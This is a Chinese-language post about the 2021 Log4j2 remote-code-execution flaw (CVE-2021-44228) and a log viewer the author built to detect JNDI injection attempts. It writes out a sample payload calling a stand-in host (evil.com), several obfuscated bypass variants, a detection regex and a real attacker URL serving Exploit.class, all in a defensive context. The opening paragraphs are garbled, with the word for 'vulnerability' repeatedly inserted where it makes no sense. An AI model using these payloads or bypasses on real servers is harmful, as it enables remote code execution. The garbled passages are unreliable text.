|
2021年12月9日深夜,漏洞很多运维人员的漏洞手机开始疯狂震动。Apache Log4j2 被曝出一个CVSS评分10.0的漏洞远程代码执行漏洞,编号CVE-2021-44228。漏洞这个评分意味着什么?漏洞满分。攻击者只需要构造一条特定的漏洞字符串,发到任何使用了Log4j2的漏洞Java应用里,就能在目标服务器上执行任意代码。漏洞不需要认证,漏洞不需要交互,漏洞门槛低到令人发指。漏洞 我当天凌晨两点被拉进一个应急群。漏洞群里有个兄弟说,漏洞他们公司的漏洞安全扫描器半小时内报了四千多条告警,全是漏洞Log4j2相关的。另一个做电商的朋友更惨——他们的订单系统、支付网关、后台管理,全部中招。修到天亮,咖啡喝了六杯,手还在抖。 为什么影响面这么大 Log4j2是Java生态里最常用的日志框架之一。日志框架这东西,就像空气——平时没人注意,但几乎所有系统都在用。Apache Struts2、Spring Boot、Kafka、Elasticsearch、甚至Minecraft服务器,全都有它的身影。你写一行 log.info(userInput),如果userInput里藏了 ${ jndi:ldap://evil.com/a},攻击者就能通过JNDI注入加载远程恶意类。 问题出在Log4j2的Lookup功能上。它本来是为了方便配置动态值,比如从环境变量或系统属性里取值。但设计时没做好输入过滤,导致用户可控的字符串被当成Lookup表达式执行了。说白了,日志框架不该有这种能力,它越界了。 查看器要解决什么问题 漏洞爆发后,网上涌现了大量检测脚本。但大多数是命令行工具,输出一堆IP和路径,看着头疼。我想要的很简单:把日志文件拖进去,告诉我哪些行包含可疑的JNDI注入特征,高亮出来,最好还能按严重程度排个序。 于是有了这个Log4j2漏洞查看器的雏形。核心逻辑不复杂——正则匹配 \$\{ .*?jndi:.*?\} 这类模式,同时识别常见的混淆变体,比如 ${ ${ lower:j}ndi:...} 或者用 ${ env:...} 拼接的绕过写法。攻击者会不断变形,查看器得跟上。 我加了几个实用功能:支持拖拽上传、实时过滤、结果导出CSV。最有用的是“上下文查看”——点中某条告警,自动展开前后20行日志,方便判断是真实攻击还是误报。有些系统会把用户输入原样打日志,比如搜索关键词里带了 ${ jndi:,那其实是正常业务,不是攻击。得区分开。 一个真实案例 上周帮一个朋友查他负责的CMS系统。日志文件3个G,用grep跑了一遍,出来两百多条匹配。他脸都白了。我让他把日志丢进查看器,按“是否包含ldap://或rmi://”过滤,只剩17条。再按“来源IP是否在信任列表外”筛,剩3条。最后人工看上下文,确认只有1条是真实攻击尝试——来自一个巴西的IP,试图加载 http://185.xxx.xxx.xxx:8888/Exploit.class。其他都是内部测试留下的痕迹。 没有查看器的话,他得在3个G的文本里翻来覆去地找,眼睛都能看瞎。工具的价值不是替代判断,而是把噪音降下去,让人把精力花在真正可疑的少数记录上。 局限性也得说清楚 这玩意儿不是万能的。它只能查日志里已经记录下来的攻击痕迹。如果攻击者用DNS外带数据,日志里可能只留下一个看似正常的域名解析请求,正则根本抓不到。还有,如果日志级别设成了WARN以上,攻击payload可能压根没被记录。所以查看器是辅助手段,不能替代WAF、RASP或者网络层检测。 另外,别指望它能查所有变种。Log4j2的绕过姿势层出不穷,从 ${ jndi:} 到 ${ ${ ::-j}${ ::-n}${ ::-d}${ ::-i}:},再到利用 ${ date:} 等Lookup组合,规则得持续更新。我在GitHub上开了个仓库,欢迎提PR补充检测模式。 最后说一句:如果你还在用Log4j2 2.0-beta9到2.14.1之间的版本,别查了,直接升级到2.17.1以上。查看器是事后补救,升级才是根治。 |